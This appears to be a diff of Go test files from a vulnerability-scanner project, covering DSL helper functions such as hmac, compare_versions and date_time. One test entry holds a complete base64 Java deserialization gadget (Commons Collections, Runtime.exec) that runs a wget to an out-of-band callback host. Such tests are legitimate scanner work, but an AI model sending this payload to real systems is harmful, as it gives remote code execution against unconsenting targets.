`generate_java_gadget("commons-collections3.1", "wget https://{{interactsh-url}}", "base64")`: "rO0ABXNyABFqYXZhLnV0aWwuSGFzaFNldLpEhZWWuLc0AwAAeHB3DAAAAAI/QAAAAAAAAXNyADRvcmcuYXBhY2hlLmNvbW1vbnMuY29sbGVjdGlvbnMua2V5dmFsdWUuVGllZE1hcEVudHJ5iq3SmznBH9sCAAJMAANrZXl0ABJMamF2YS9sYW5nL09iamVjdDtMAANtYXB0AA9MamF2YS91dGlsL01hcDt4cHQAJmh0dHBzOi8vZ2l0aHViLmNvbS9qb2FvbWF0b3NmL2pleGJvc3Mgc3IAKm9yZy5hcGFjaGUuY29tbW9ucy5jb2xsZWN0aW9ucy5tYXAuTGF6eU1hcG7llIKeeRCUAwABTAAHZmFjdG9yeXQALExvcmcvYXBhY2hlL2NvbW1vbnMvY29sbGVjdGlvbnMvVHJhbnNmb3JtZXI7eHBzcgA6b3JnLmFwYWNoZS5jb21tb25zLmNvbGxlY3Rpb25zLmZ1bmN0b3JzLkNoYWluZWRUcmFuc2Zvcm1lcjDHl%2BwoepcEAgABWwANaVRyYW5zZm9ybWVyc3QALVtMb3JnL2FwYWNoZS9jb21tb25zL2NvbGxlY3Rpb25zL1RyYW5zZm9ybWVyO3hwdXIALVtMb3JnLmFwYWNoZS5jb21tb25zLmNvbGxlY3Rpb25zLlRyYW5zZm9ybWVyO71WKvHYNBiZAgAAeHAAAAAFc3IAO29yZy5hcGFjaGUuY29tbW9ucy5jb2xsZWN0aW9ucy5mdW5jdG9ycy5Db25zdGFudFRyYW5zZm9ybWVyWHaQEUECsZQCAAFMAAlpQ29uc3RhbnRxAH4AA3hwdnIAEWphdmEubGFuZy5SdW50aW1lAAAAAAAAAAAAAAB4cHNyADpvcmcuYXBhY2hlLmNvbW1vbnMuY29sbGVjdGlvbnMuZnVuY3RvcnMuSW52b2tlclRyYW5zZm9ybWVyh%2Bj/a3t8zjgCAANbAAVpQXJnc3QAE1tMamF2YS9sYW5nL09iamVjdDtMAAtpTWV0aG9kTmFtZXQAEkxqYXZhL2xhbmcvU3RyaW5nO1sAC2lQYXJhbVR5cGVzdAASW0xqYXZhL2xhbmcvQ2xhc3M7eHB1cgATW0xqYXZhLmxhbmcuT2JqZWN0O5DOWJ8QcylsAgAAeHAAAAACdAAKZ2V0UnVudGltZXVyABJbTGphdmEubGFuZy5DbGFzczurFteuy81amQIAAHhwAAAAAHQACWdldE1ldGhvZHVxAH4AGwAAAAJ2cgAQamF2YS5sYW5nLlN0cmluZ6DwpDh6O7NCAgAAeHB2cQB%2BABtzcQB%2BABN1cQB%2BABgAAAACcHVxAH4AGAAAAAB0AAZpbnZva2V1cQB%2BABsAAAACdnIAEGphdmEubGFuZy5PYmplY3QAAAAAAAAAAAAAAHhwdnEAfgAYc3EAfgATdXIAE1tMamF2YS5sYW5nLlN0cmluZzut0lbn6R17RwIAAHhwAAAAAXQAH3dnZXQgaHR0cHM6Ly97e2ludGVyYWN0c2gtdXJsfX10AARleGVjdXEAfgAbAAAAAXEAfgAgc3EAfgAPc3IAEWphdmEubGFuZy5JbnRlZ2VyEuKgpPeBhzgCAAFJAAV2YWx1ZXhyABBqYXZhLmxhbmcuTnVtYmVyhqyVHQuU4IsCAAB4cAAAAAFzcgARamF2YS51dGlsLkhhc2hNYXAFB9rBwxZg0QMAAkYACmxvYWRGYWN0b3JJAAl0aHJlc2hvbGR4cD9AAAAAAAAAdwgAAAAQAAAAAHh4eA==",
@ -226,6 +257,8 @@ func TestDslExpressions(t *testing.T) {
`compare_versions('v1.1.1', '>v1.1.0')`: true, `compare_versions('v1.1.1', '>v1.1.0')`: true,
`compare_versions('v1.0.0', '>v0.0.1,<v1.0.1')`: true, `compare_versions('v1.0.0', '>v0.0.1,<v1.0.1')`: true,
`compare_versions('v1.0.0', '>v0.0.1', '<v1.0.1')`: true, `compare_versions('v1.0.0', '>v0.0.1', '<v1.0.1')`: true,
`hmac('sha1', 'test', 'scrt')`: "8856b111056d946d5c6c92a21b43c233596623c6",
`hmac('sha256', 'test', 'scrt')`: "1f1bff5574f18426eb376d6dd5368a754e67a798aa2074644d5e3fd4c90c7a92",
} }
for dslExpression, expectedResult := range dslExpressions { for dslExpression, expectedResult := range dslExpressions {

2
v2/pkg/protocols/common/variables/variables_test.go
View File

@ -12,7 +12,7 @@ func TestVariablesEvaluate(t *testing.T) {
data := `a1: "{{rand_base(5)}}" data := `a1: "{{rand_base(5)}}"
a2: "{{md5(a1)}}" a2: "{{md5(a1)}}"
a3: "this_is_random_text" a3: "this_is_random_text"
a4: "{{date('%Y-%M-%D')}}" a4: "{{date_time('%Y-%M-%D')}}"
a5: "{{reverse(hostname)}}" a5: "{{reverse(hostname)}}"
a6: "123456"` a6: "123456"`